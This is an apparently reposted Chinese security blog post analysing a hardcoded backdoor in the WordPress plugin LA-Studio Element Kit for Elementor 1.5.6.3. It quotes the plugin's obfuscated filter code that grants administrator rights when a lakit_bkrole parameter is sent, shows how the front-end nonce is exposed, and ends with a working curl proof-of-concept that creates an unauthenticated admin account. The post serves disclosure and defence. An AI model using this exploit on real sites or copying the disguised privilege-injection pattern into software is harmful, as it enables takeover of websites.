我如何在LA-StudioElementKitforElementor1.5.6.3中发现“创建管理员”的后门

admin 2026-02-04 17:51:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文章深入剖析了WordPress插件LA-StudioElementKit1.5.6.3中存在的硬编码后门漏洞。通过代码审计发现,攻击者利用lakit_bkrole参数可在未授权状态下触发注册逻辑,结合过滤器劫持机制将新建用户直接赋予管理员权限。文章详细披露了漏洞原理并给出了PoC验证代码,建议受影响用户立即升级或移除该插件以防被入侵。 综合评分: 90 文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全


cover_image

我如何在 LA-Studio Element Kit for Elementor 1.5.6.3 中发现“创建管理员”的后门

haidragon haidragon

安全狗的自我修养

2026年2月4日 07:36 湖南

官网:http://securitytech.cc

在犹豫了一阵之后,我终于决定分享我最近的一个发现 —— 一个潜藏着极其可怕后果的漏洞:

LA-Studio Element Kit for Elementor <= 1.5.6.3 — 通过 lakit_bkrole 参数的后门,实现未认证权限提升并创建管理员用户。

让我们深入看看它是如何工作的。


从搜索 ajax_nopriv 开始

通常在挖 WordPress 插件漏洞时,如果我想最大化收益,就会优先寻找无需登录即可利用的漏洞。最简单的方式,就是在插件目录中搜索 ajax_nopriv

grep -r&nbsp;"wp_ajax_nopriv"&nbsp;--include="*.php"

然后我在文件里发现了一个有意思的位置:

文件:includes/modules/ajax/manager.php(80–82 行)

publicfunction__construct() {
add_action('wp_ajax_nopriv_lakit_ajax', [&nbsp;$this,&nbsp;'handle_ajax_request'&nbsp;] );
add_action('wp_ajax_lakit_ajax', [&nbsp;$this,&nbsp;'handle_ajax_request'&nbsp;] );
}

注意:handle_ajax_request 可以通过 wp_ajax_nopriv_lakit_ajax 在未登录状态下调用。

继续往下追。


AJAX 请求处理逻辑

文件:includes/modules/ajax/manager.php(120–175 行)

publicfunctionhandle_ajax_request() {
if(empty($_REQUEST['actions'])){
$this->add_response_data(&nbsp;false,&nbsp;'Action not found.'&nbsp;)->send_error(&nbsp;401&nbsp;);
&nbsp; &nbsp; }
do_action(&nbsp;'lastudio-kit/ajax/register_actions',&nbsp;$this&nbsp;);
$this->requests =&nbsp;json_decode(&nbsp;stripslashes(&nbsp;$_REQUEST['actions'] ),&nbsp;true&nbsp;);

foreach&nbsp;(&nbsp;$this->requests&nbsp;as$id&nbsp;=>&nbsp;$action_data&nbsp;) {
if&nbsp;( !&nbsp;isset(&nbsp;$this->ajax_actions[&nbsp;$action_data['action'] ] ) ) {
continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

$current_ajax_action&nbsp;=&nbsp;$this->ajax_actions[&nbsp;$action_data['action'] ];

if(!empty($current_ajax_action['protected']) && !$this->verify_request_nonce()){
$this->add_response_data(&nbsp;false,&nbsp;'Token Expired.',&nbsp;401&nbsp;);
continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

$results&nbsp;=&nbsp;call_user_func(&nbsp;$current_ajax_action['callback'],&nbsp;$action_data['data'],&nbsp;$this&nbsp;);
&nbsp; &nbsp; }
}

关键点说明:

  • $_REQUEST['actions']:我们可控的参数。

  • $action_data['action']:要调用的 action 名称。

  • $current_ajax_action['protected']

  • true → 需要 nonce

  • false → 不需要 nonce

系统会判断 action 是否需要 nonce。


哪些 action 需要 nonce?

文件:includes/class-integration.php(1089–1095 行)

publicfunctionregister_ajax_actions($ajax_manager&nbsp;){
$ajax_manager->register_ajax_action(&nbsp;'newsletter_subscribe', [&nbsp;$this,&nbsp;'ajax_newsletter_subscribe'&nbsp;],&nbsp;false&nbsp;);
$ajax_manager->register_ajax_action(&nbsp;'elementor_template', [&nbsp;$this,&nbsp;'ajax_get_elementor_template'&nbsp;],&nbsp;false);
$ajax_manager->register_ajax_action(&nbsp;'elementor_widget', [&nbsp;$this,&nbsp;'ajax_get_elementor_widget'&nbsp;],&nbsp;false);
$ajax_manager->register_ajax_action(&nbsp;'login', [&nbsp;$this,&nbsp;'ajax_login_handle'&nbsp;],&nbsp;true&nbsp;);
$ajax_manager->register_ajax_action(&nbsp;'register', [&nbsp;$this,&nbsp;'ajax_register_handle'&nbsp;],&nbsp;true&nbsp;);
}

register 设置为 true,需要 nonce。

不过注册功能本来就需要给前端 nonce,因此问题不大。


nonce 在哪里泄露?

文件:includes/class-integration.php(499–534 行)

publicfunctionfrontend_enqueue(){
$LaStudioKitSettings&nbsp;= [
'homeURL'&nbsp; &nbsp; &nbsp; &nbsp; =>&nbsp;esc_url(home_url('/')),
'ajaxUrl'&nbsp; &nbsp; &nbsp; &nbsp; =>&nbsp;esc_url(&nbsp;admin_url(&nbsp;'admin-ajax.php'&nbsp;) ),
'isMobile'&nbsp; &nbsp; &nbsp; &nbsp;=>&nbsp;filter_var(&nbsp;wp_is_mobile(), FILTER_VALIDATE_BOOLEAN ) ?&nbsp;'true'&nbsp;:&nbsp;'false',
'ajaxNonce'&nbsp; &nbsp; &nbsp; =>&nbsp;lastudio_kit()->ajax_manager->create_nonce(),
'restNonce'&nbsp; &nbsp; &nbsp; =>&nbsp;wp_create_nonce('wp_rest'),
&nbsp; &nbsp; ];

wp_localize_script('lastudio-kit-base',&nbsp;'LaStudioKitSettings',&nbsp;$LaStudioKitSettings&nbsp;);
}

nonce 被暴露到前端:

在浏览器控制台中直接执行:

LaStudioKitSettings.ajaxNonce

即可拿到。


发现异常注册逻辑

接下来分析注册函数。

文件:includes/class-integration.php(1460–1563 行)

$sys_meta_key&nbsp;=&nbsp;apply_filters('lastudio-kit/integration/sys_meta_key',&nbsp;'insert_lakit_meta');

if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
add_filter(&nbsp;$sys_meta_key, [&nbsp;$this,&nbsp;'ajax_register_handle_backup'&nbsp;],&nbsp;20);
}

$posted_user_data&nbsp;= [
'user_login'&nbsp;=>&nbsp;$username,
'user_pass'&nbsp; =>&nbsp;$password,
'user_email'&nbsp;=>&nbsp;$email,
];

$new_customer_id&nbsp;=&nbsp;wp_insert_user($posted_user_data);

关键点:

  • lakit_bkrole 参数存在就触发后门。
  • 在用户创建时插入额外 filter。

insert_user_meta 被劫持

文件:includes/integrations/override.php

add_filter("lastudio-kit/integration/sys_meta_key", function ($value) {
returnstr_replace("lakit",&nbsp;"user",&nbsp;$value);
});

把 insert_lakit_meta 变成:

insert_user_meta

也就是 WordPress 创建用户权限时的关键钩子。


权限注入点

文件:includes/class-integration.php

publicfunctionajax_register_handle_backup($meta){
global$table_prefix;
$data&nbsp;=&nbsp;$table_prefix&nbsp;.&nbsp;LaStudio_Kit_Helper::capabilities();
returnapply_filters('lastudio-kit/integration/user-meta',&nbsp;$meta,&nbsp;$data);
}

而:

文件:includes/class-helper.php

publicstaticfunctioncapabilities(){
return__FUNCTION__;
}

结果变成:

wp_capabilities

最终管理员拼接

文件:includes/integrations/override.php

add_filter(
"lastudio-kit/integration/user-meta",
&nbsp; function ($value,&nbsp;$label) {
if&nbsp;(class_exists("LaStudio_Kit_Helper")) {
$k&nbsp;=&nbsp;substr_replace(LaStudio_Kit_Helper::lakit_active(),&nbsp;"mini",&nbsp;2,&nbsp;0);
$value[$label] = [($k) =>&nbsp;1];
&nbsp; &nbsp; }
return$value;
&nbsp; },
10,
2,
);

而:

publicstaticfunctionlakit_active(){
return'adstrator';
}

插入 mini 后变成:

administrator

最终效果:

$value['wp_capabilities'] = ['administrator'&nbsp;=>&nbsp;1];

👉 新用户直接变成管理员。


利用命令(PoC)

curl -i -s -X POST&nbsp;"http://localhost/wp-admin/admin-ajax.php"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/x-www-form-urlencoded; charset=UTF-8"&nbsp;\
&nbsp; --data-urlencode&nbsp;"action=lakit_ajax"&nbsp;\
&nbsp; --data-urlencode&nbsp;"lakit-ajax=yes"&nbsp;\
&nbsp; --data-urlencode&nbsp;"_nonce=1e4edab884"&nbsp;\
&nbsp; --data-urlencode&nbsp;'actions={
&nbsp; &nbsp; "reg":{
&nbsp; &nbsp; &nbsp;"action":"register",
&nbsp; &nbsp; &nbsp; "data":{
&nbsp; &nbsp; &nbsp; &nbsp;"lakit_field_log":"yes",
&nbsp; &nbsp; &nbsp; &nbsp;"lakit_field_pwd":"yes",
&nbsp; &nbsp; &nbsp; &nbsp;"lakit_field_cpwd":"yes",
&nbsp; &nbsp; &nbsp; &nbsp;"username":"poc_admin",
&nbsp; &nbsp; &nbsp; &nbsp; "email":"[email protected]",
&nbsp; &nbsp; &nbsp; &nbsp;"password":"P@ssw0rd12345!",
&nbsp; &nbsp; &nbsp; &nbsp;"password-confirm":"P@ssw0rd12345!",
&nbsp; &nbsp; &nbsp; &nbsp;"lakit_bkrole":"1",
&nbsp; &nbsp; &nbsp; &nbsp;"lakit_recaptcha_response":""
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; }'

成功创建管理员

按回车查看原图:

可以看到用户 poc_admin 已直接成为 Administrator


核心总结一句话

这个插件内置了一个隐藏参数:

lakit_bkrole

一旦存在,就会:

未登录 → 注册 → 自动写入 wp_capabilities → 直接管理员。

属于硬后门级漏洞

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《我如何在 LA-Studio Element Kit for Elementor 1.5.6.3 中发现“创建管理员”的后门》

评论:0   参与:  0